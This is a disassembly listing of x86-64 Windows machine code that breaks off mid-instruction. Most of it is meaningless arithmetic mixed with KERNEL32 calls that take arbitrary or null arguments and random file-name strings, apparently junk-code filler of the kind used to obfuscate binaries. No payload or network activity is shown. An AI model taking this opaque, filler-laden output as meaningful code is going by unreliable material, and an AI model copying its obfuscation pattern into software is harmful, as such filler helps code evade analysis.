mov rcx, qword [rsp + 0x12ed0]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x731], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
lea rax, [rsp + 0x2b98]
mov qword [rsp + 0x13110], rax
movzx eax, byte [0x14035259f]
mov rcx, qword [rsp + 0x12d08]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x729], al
mov eax, dword [rsp + 0x97b4]
mov dword [rsp + 0x9a94], eax
mov rax, qword [rsp + 0x130d0]
mov rcx, qword [rsp + 0x13088]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [0x140369bec], eax
mov eax, dword [rsp + 0x9a54]
mov ecx, dword [rsp + 0x99e8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12dd0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12d88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9960]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x130b0]
mov dword [rcx], eax
lea rax, [rsp + 0x9a90]
mov qword [rsp + 0x13118], rax
movzx eax, word [rsp + 0x280c]
movzx ecx, word [rsp + 0x2b78]
add eax, ecx
mov word [rsp + 0x2b88], ax
lea rax, [rsp + 0x585]
mov qword [rsp + 0x13120], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9a98], eax
mov rax, qword [rsp + 0x12f40]
mov rcx, qword [rsp + 0x12ff0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x12f78]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12d28]
mov rcx, qword [rsp + 0x12f00]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x12f58]
mov dword [rcx], eax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x175e
mov r9d, 0x2f44
mov r8d, 0xa143479e
mov edx, 2
mov rcx, qword [rsp + 0x12de8]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x9a68], eax
mov rax, qword [rsp + 0x12ff0]
mov ecx, dword [rsp + 0x9990]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x56e4], eax
mov rax, qword [0x140369b90]
mov rcx, qword [rsp + 0x12fd8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [0x14036245c], eax
mov rax, qword [rsp + 0x12e80]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x13d8]
add eax, ecx
mov word [rsp + 0x2b94], ax
lea rax, [rsp + 0x49c]
mov qword [rsp + 0x13128], rax
movsx eax, byte [0x140363edd]
mov rcx, qword [rsp + 0x12ef8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x12f60]
mov byte [rcx], al
mov rax, qword [rsp + 0x12ec8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1ed0]
sub eax, ecx
mov word [rsp + 0x2008], ax
mov eax, dword [rsp + 0x9a18]
mov dword [rsp + 0x9a9c], eax
mov rcx, qword [rsp + 0x13078]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x9a04], eax
mov eax, dword [rsp + 0x81e0]
mov rcx, qword [0x140369bc8]
mov qword [rsp + 0x13130], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13130]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x9a2c], eax
lea rax, [rsp + 0x2b90]
mov qword [rsp + 0x13138], rax
mov rax, qword [rsp + 0x12f28]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x12d58]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x72b], al
mov eax, dword [rsp + 0x5330]
movzx ecx, al
mov eax, dword [rsp + 0x9a80]
shl eax, cl
mov dword [0x140369b98], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 8
mov edx, 0x80000000
lea rcx, str.d7z_bXh5QUW58F
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x13140], rax
xor r8d, r8d
mov edx, 0x40
lea rcx, [rsp + 0x4aa70]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9a58], eax
mov rax, qword [rsp + 0x13030]
mov eax, dword [rax]
mov dword [rsp + 0x9aa0], eax
lea rdx, [rsp + 0x429c8]
mov rcx, qword [rsp + 0x12bf0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9a04], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9a4c], eax
lea rdx, [rsp + 0x429c8]
mov rcx, qword [rsp + 0x12bf0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9a20], eax
mov rax, qword [0x140369bc8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9aa0]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12ec0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x99b8]
mov ecx, dword [rsp + 0x9a00]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9a28], eax
mov rax, qword [rsp + 0x12e80]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13100]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1f18], ax
mov rax, qword [rsp + 0x130d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x728]
sub eax, ecx
mov rcx, qword [rsp + 0x13010]
mov byte [rcx], al
mov eax, dword [rsp + 0x56e4]
mov dword [rsp + 0x9aa4], eax
mov rax, qword [rsp + 0x130e8]
mov ecx, dword [rsp + 0x84ac]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x12f78]
mov dword [rcx], eax
mov rax, qword [0x140369ba8]
mov ecx, dword [rsp + 0x9a34]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x12f68]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13018]
mov eax, dword [rax]
mov dword [0x140369c08], eax
mov dword [rsp + 0x4add0], 0x11c
mov rax, qword [rsp + 0x12fc8]
mov ecx, dword [rsp + 0x92e8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9730], eax
movsx eax, byte [rsp + 0x730]
movsx ecx, byte [rsp + 0x518]
and eax, ecx
mov byte [rsp + 0x6fc], al
lea rax, [rsp + 0x1ed0]
mov qword [rsp + 0x13148], rax
movzx eax, word [rsp + 0x2324]
imul eax, eax, 0xbb2
mov word [rsp + 0x13d8], ax
mov rax, qword [0x140369be0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x13c]
or eax, ecx
mov rcx, qword [rsp + 0x12f28]
mov byte [rcx], al
mov eax, dword [rsp + 0x9a94]
mov dword [rsp + 0x9aa8], eax
mov rax, qword [rsp + 0x12ff0]
mov ecx, dword [0x14036245c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13118]
mov dword [rcx], eax
mov rax, qword [rsp + 0x130d8]
movzx eax, byte [rax]
mov byte [rsp + 0x734], al
movzx eax, word [rsp + 0x2324]
movzx ecx, word [rsp + 0x178c]
sar eax, cl
mov word [0x140369bd8], ax
mov eax, dword [rsp + 0x9a28]
mov rcx, qword [rsp + 0x130b0]
mov qword [rsp + 0x13150], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13150]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x9a50], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9a8c], eax
xor r8d, r8d
mov edx, 1
lea rcx, [rsp + 0x4aa70]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9940], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x12e88]
mov rcx, qword [rsp + 0x13030]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x8f14], eax
mov rax, qword [rsp + 0x13088]
mov ecx, dword [rsp + 0x8924]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9a40], eax
mov eax, dword [rsp + 0x9a28]
mov ecx, dword [rsp + 0x9a84]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f48]
mov dword [rcx], eax
lea rdx, [rsp + 0x42920]
mov rcx, qword [rsp + 0x12c88]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9a60], eax
lea rax, [rsp + 0x2b80]
mov qword [rsp + 0x13158], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9944], eax
mov rax, qword [rsp + 0x13038]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x72b]
or eax, ecx
mov rcx, qword [rsp + 0x12e08]
mov byte [rcx], al
mov eax, dword [rsp + 0x9a90]
mov dword [rsp + 0x9aac], eax
mov rax, qword [rsp + 0x12d10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9a40]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8880], eax
lea rax, [rsp + 0x2008]
mov qword [0x140369c10], rax
mov rax, qword [0x140369bf0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x12f60]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x731], al
mov rax, qword [rsp + 0x12d80]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b84]
add eax, ecx
mov word [rsp + 0x1e08], ax
movzx eax, byte [rsp + 0x72f]
movzx ecx, byte [rsp + 0x3d2]
sub eax, ecx
mov byte [rsp + 0x72b], al
mov rax, qword [rsp + 0x12d88]
mov eax, dword [rax]
mov dword [rsp + 0x9ab0], eax
mov eax, dword [rsp + 0x9a94]
mov ecx, dword [rsp + 0x99b8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12d68]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12dd0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8ca0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9a6c], eax
lea rax, [rsp + 0x9aac]
mov qword [rsp + 0x13160], rax
mov rax, qword [rsp + 0x12fc8]
mov ecx, dword [rsp + 0x9a78]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x99b4], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x13168], rax
lea rax, [rsp + 0x1f3]
mov qword [rsp + 0x13170], rax
lea rax, [0x140362458]
mov qword [0x140369c18], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rax, qword [rsp + 0x12d28]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9a64]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x130b0]
mov dword [rcx], eax
mov eax, dword [0x140369be8]
mov rcx, qword [rsp + 0x12ec0]
mov qword [rsp + 0x13178], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13178]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x9a5c], eax
mov rax, qword [rsp + 0x130c8]
mov eax, dword [rax]
mov dword [rsp + 0x9ab4], eax
mov rax, qword [rsp + 0x130f8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x12f68]
mov qword [rsp + 0x13180], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13180]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x12f48]
mov dword [rcx], eax
movzx eax, word [rsp + 0x178c]
mov rcx, qword [0x140369b88]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2a94], ax
xor r8d, r8d
mov edx, 4
lea rcx, [rsp + 0x4acb0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9a7c], eax
movzx eax, byte [rsp + 0x728]
movzx ecx, byte [rsp + 0x49c]
and eax, ecx
mov byte [rsp + 0x729], al
lea rax, [rsp + 0x6f8]
mov qword [rsp + 0x13188], rax
movsx eax, word [rsp + 0x2008]
movsx ecx, word [rsp + 0x2b74]
and eax, ecx
mov rcx, qword [rsp + 0x12ec8]
mov word [rcx], ax
mov rax, qword [rsp + 0x12d28]
mov ecx, dword [rsp + 0x9a9c]
mov eax, dword [rax]
add eax, ecx
mov dword [0x140362460], eax
mov rax, qword [rsp + 0x12f40]
mov rcx, qword [rsp + 0x12eb8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x13040]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x728]
mov byte [rsp + 0x735], al
mov rax, qword [rsp + 0x130a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b78]
sub eax, ecx
mov rcx, qword [rsp + 0x12e10]
mov word [rcx], ax
lea rax, [rsp + 0x9a40]
mov qword [rsp + 0x13190], rax
mov rax, qword [rsp + 0x13070]
mov ecx, dword [rsp + 0x9a84]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x12de0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12e88]
mov ecx, dword [rsp + 0x6a84]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9a78], eax
lea rax, [rsp + 0x9a30]
mov qword [rsp + 0x13198], rax
movzx eax, byte [0x140363edf]
movzx ecx, byte [rsp + 0x49c]
sub eax, ecx
mov byte [rsp + 0x1f3], al
movzx eax, word [rsp + 0x2324]
mov rcx, qword [rsp + 0x13058]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x140369bf8]
mov word [rcx], ax
lea rax, [rsp + 0x9a28]
mov qword [rsp + 0x131a0], rax
mov rax, qword [rsp + 0x13018]
mov rcx, qword [rsp + 0x12ea8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x130c8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13088]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x99b4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13040]
mov dword [rcx], eax
lea rax, [rsp + 0x9a30]
mov qword [rsp + 0x131a8], rax
mov rax, qword [rsp + 0x13088]
mov rcx, qword [rsp + 0x12eb8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9a54], eax
mov edx, 0x8c8
mov rcx, qword [rsp + 0x12eb0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x9ab8], eax
lea rax, [rsp + 0x6fc]
mov qword [rsp + 0x131b0], rax
mov rax, qword [rsp + 0x13008]
movsx eax, word [rax]
movsx ecx, word [0x140362454]
sar eax, cl
mov word [rsp + 0x2b74], ax
movzx eax, byte [rsp + 0x72f]
mov rcx, qword [rsp + 0x13010]
movzx ecx, byte [rcx]
cdq
idiv ecx
mov rcx, qword [rsp + 0x130d8]
mov byte [rcx], al
mov rax, qword [rsp + 0x13100]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b88]
shl eax, cl
mov word [0x140362448], ax
mov rax, qword [rsp + 0x12f58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9a64]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x69c8], eax
mov eax, dword [rsp + 0x5330]
mov ecx, dword [rsp + 0x9a94]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x130f8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13020]
movzx eax, word [rax]
mov word [rsp + 0x2b9c], ax
movzx eax, byte [0x14035259f]
movzx ecx, byte [rsp + 0x2b0]
and eax, ecx
mov byte [rsp + 0x732], al
lea rax, [rsp + 0x8924]
mov qword [rsp + 0x131b8], rax
mov rax, qword [rsp + 0x12ce0]
mov ecx, dword [rsp + 0x9a00]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x12ce0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12eb8]
mov ecx, dword [rsp + 0x8880]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9968], eax
mov dword [rsp + 0x20], 0x7f5
mov r9d, 0x337d
mov r8d, 0x681
mov edx, 0x8f5
mov rcx, qword [rsp + 0x12fb8]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x9a44], eax
lea rax, [rsp + 0x9a40]
mov qword [rsp + 0x131c0], rax
xor r8d, r8d
mov edx, 0x80
lea rcx, [rsp + 0x4aa70]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9938], eax
lea rax, [rsp + 0x13d8]
mov qword [0x140369c20], rax
movzx eax, byte [rsp + 0x72e]
movzx ecx, byte [0x14035259f]
or eax, ecx
mov rcx, qword [rsp + 0x13038]
mov byte [rcx], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.KLIWuBx7yT5_v5Ri1qXK6hMl4qT7U
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x131c8], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9a08], eax
lea rax, [rsp + 0x9a84]
mov qword [rsp + 0x131d0], rax
mov eax, dword [rsp + 0x997c]
mov ecx, dword [rsp + 0x9aa4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x99e8], eax
movsx eax, word [rsp + 0x2008]
movsx ecx, word [rsp + 0x1ed0]
and eax, ecx
mov rcx, qword [rsp + 0x13098]
mov word [rcx], ax
mov rax, qword [rsp + 0x12ea0]
movzx eax, byte [rax]
mov byte [rsp + 0x736], al
mov rax, qword [rsp + 0x13138]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2324]
sub eax, ecx
mov rcx, qword [rsp + 0x13058]
mov word [rcx], ax
lea rax, [rsp + 0x728]
mov qword [rsp + 0x131d8], rax
mov rax, qword [rsp + 0x12ce0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9a94]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13080]
mov dword [rcx], eax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0xc66
mov r9d, 0x34bc
mov r8d, 0x60e666d5
mov edx, 2
mov rcx, qword [rsp + 0x13140]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x9a20], eax
mov eax, dword [rsp + 0x9a5c]
mov ecx, dword [rsp + 0x9aac]
add ecx, eax
mov eax, ecx
mov dword [0x140369b9c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x13068]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x14036244c]
shl eax, cl
mov rcx, qword [rsp + 0x130c8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x131a0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x12ed8]
mov qword [rsp + 0x131e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x131e0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x645c], eax
mov dword [rsp + 0x20], 0x7f5
mov r9d, 0x337d
mov r8d, 0x681
mov edx, 0x8f5
mov rcx, qword [rsp + 0x12fb8]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x9a68], eax
mov rax, qword [rsp + 0x131b8]
mov ecx, dword [rsp + 0x9a6c]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x9a10], eax
movzx eax, byte [rsp + 0x3d2]
mov byte [rsp + 0x737], al
mov rax, qword [rsp + 0x13100]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13158]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2324], ax
mov rax, qword [rsp + 0x130d0]
mov ecx, dword [rsp + 0x9a5c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x8f50], eax
mov rax, qword [rsp + 0x12de0]
mov rcx, qword [rsp + 0x130a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x12f48]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12fc8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6b08]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13068]
mov dword [rcx], eax
mov eax, dword [rsp + 0x6a84]
mov dword [0x140369c28], eax
lea rax, [rsp + 0x2b94]
mov qword [rsp + 0x131e8], rax
movzx eax, byte [rsp + 0x734]
movzx ecx, byte [rsp + 0x72e]
and eax, ecx
mov rcx, qword [rsp + 0x12fc0]
mov byte [rcx], al
movzx eax, byte [0x140363edd]
mov byte [rsp + 0x738], al
mov rax, qword [rsp + 0x13008]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x12fa8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2008], ax
mov rax, qword [rsp + 0x12d28]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x97b4]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f48]
mov dword [rcx], eax
lea rax, [0x140369c28]
mov qword [rsp + 0x131f0], rax
movzx eax, byte [rsp + 0x737]
mov rcx, qword [rsp + 0x12f28]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x49c], al
mov rax, qword [rsp + 0x13110]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b84]
add eax, ecx
mov word [rsp + 0x1878], ax
lea rax, [rsp + 0x97b4]
mov qword [0x140369c30], rax
lea rdx, [rsp + 0x42a00]
mov rcx, qword [rsp + 0x13140]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9a20], eax
mov rax, qword [rsp + 0x13068]
mov rcx, qword [rsp + 0x12ee8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x84ac], eax
mov rax, qword [0x140369b90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9a10]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9a30], eax
lea rax, [rsp + 0x9970]
mov qword [rsp + 0x131f8], rax
movzx eax, word [rsp + 0x1878]
mov rcx, qword [rsp + 0x130a0]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x178c], ax
lea rax, [rsp + 0x72a]
mov qword [rsp + 0x13200], rax
mov rax, qword [rsp + 0x13118]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x8f14]
sar eax, cl
mov dword [rsp + 0x9a40], eax
mov rax, qword [rsp + 0x13000]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13190]
mov qword [rsp + 0x13208], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13208]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x12ef0]
mov dword [rcx], eax
lea rax, [rsp + 0x69c8]
mov qword [rsp + 0x13210], rax
mov eax, dword [rsp + 0x9a48]
mov ecx, dword [0x140369bc0]
or ecx, eax
mov eax, ecx
mov dword [0x140369be8], eax
mov eax, dword [rsp + 0x9a30]
mov ecx, dword [rsp + 0x9aac]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x8ca0], eax
mov rax, qword [rsp + 0x12e98]
movzx eax, word [rax]
mov word [rsp + 0x2ba0], ax
mov rax, qword [rsp + 0x12ef8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x6f8]
sub eax, ecx
mov byte [rsp + 0x491], al
movzx eax, byte [rsp + 0x13c]
mov byte [rsp + 0x739], al
movzx eax, word [rsp + 0x178c]
mov rcx, qword [0x140369c18]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x13020]
mov word [rcx], ax
mov rax, qword [rsp + 0x12ed8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9a18]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9808], eax
mov rax, qword [rsp + 0x131b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9aa4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x64b0], eax
mov rax, qword [0x140369c18]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13158]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x12d80]
mov word [rcx], ax
mov rax, qword [rsp + 0x12f28]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13128]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [0x14035259f], al
mov qword [rsp + 0x20], 0
mov r9d, 0xc66
mov r8d, 0x34bc
mov edx, 0x7d
mov rcx, qword [rsp + 0x13140]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x9a04], eax
mov eax, dword [rsp + 0x9970]
mov dword [rsp + 0x9abc], eax
mov rax, qword [rsp + 0x12e88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9a54]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12ea8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12f40]
mov rcx, qword [rsp + 0x12eb8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8924], eax
mov rax, qword [0x140369c30]
mov rcx, qword [rsp + 0x12f48]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x8e20], eax
mov rax, qword [rsp + 0x12ff8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x13d8]
add eax, ecx
mov rcx, qword [rsp + 0x13020]
mov word [rcx], ax
lea rax, [rsp + 0x729]
mov qword [rsp + 0x13218], rax
mov eax, dword [rsp + 0x9990]
mov rcx, qword [rsp + 0x13068]
mov qword [rsp + 0x13220], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13220]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x13118]
mov dword [rcx], eax
mov eax, dword [rsp + 0x92e8]
mov rcx, qword [rsp + 0x12fc8]
mov qword [rsp + 0x13228], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13228]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x8ca0], eax
movzx eax, byte [rsp + 0x730]
mov byte [0x140363efc], al
lea rax, [0x140362454]
mov qword [rsp + 0x13230], rax
movzx eax, word [rsp + 0x2b84]
mov rcx, qword [rsp + 0x12f18]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x13110]
mov word [rcx], ax
mov rax, qword [rsp + 0x131d8]
movzx eax, byte [rax]
mov byte [rsp + 0x73a], al
mov rax, qword [0x140369c00]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9a9c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x9808], eax
mov rax, qword [rsp + 0x13070]
mov eax, dword [rax]
mov dword [rsp + 0x9ac0], eax
mov rax, qword [rsp + 0x13108]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9a30]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x99e8], eax
mov rax, qword [rsp + 0x131a8]
mov ecx, dword [0x140369c08]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13108]
mov dword [rcx], eax
mov rax, qword [rsp + 0x130e8]
mov ecx, dword [rsp + 0x9a30]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x82a8], eax
lea rdx, [rsp + 0x42a38]
mov rcx, qword [rsp + 0x131c8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9938], eax
movzx eax, word [rsp + 0x2b88]
movzx ecx, word [rsp + 0x2a94]
add eax, ecx
mov word [rsp + 0x2b78], ax
lea rax, [rsp + 0x72e]
mov qword [0x140369c38], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9a98], eax
lea rax, [rsp + 0x9ab0]
mov qword [rsp + 0x13238], rax
mov rax, qword [rsp + 0x12ee8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x92e8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12d10]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12ea8]
mov rcx, qword [rsp + 0x12ef0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x99b4], eax
mov eax, dword [rsp + 0x645c]
mov dword [rsp + 0x9ac4], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov rax, qword [rsp + 0x12fe0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x630]
and eax, ecx
mov byte [rsp + 0x337], al
mov dword [rsp + 0x20], 0x1c78
mov r9d, 0xd9a
mov r8d, 0x332
mov edx, 0x2d4
mov rcx, qword [rsp + 0x12c88]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x9940], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x13240], rax
lea rax, [0x140362458]
mov qword [rsp + 0x13248], rax
mov rax, qword [rsp + 0x12ea0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x131b0]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x12f60]
mov byte [rcx], al
movsx eax, word [rsp + 0x2b74]
movsx ecx, word [rsp + 0x2008]
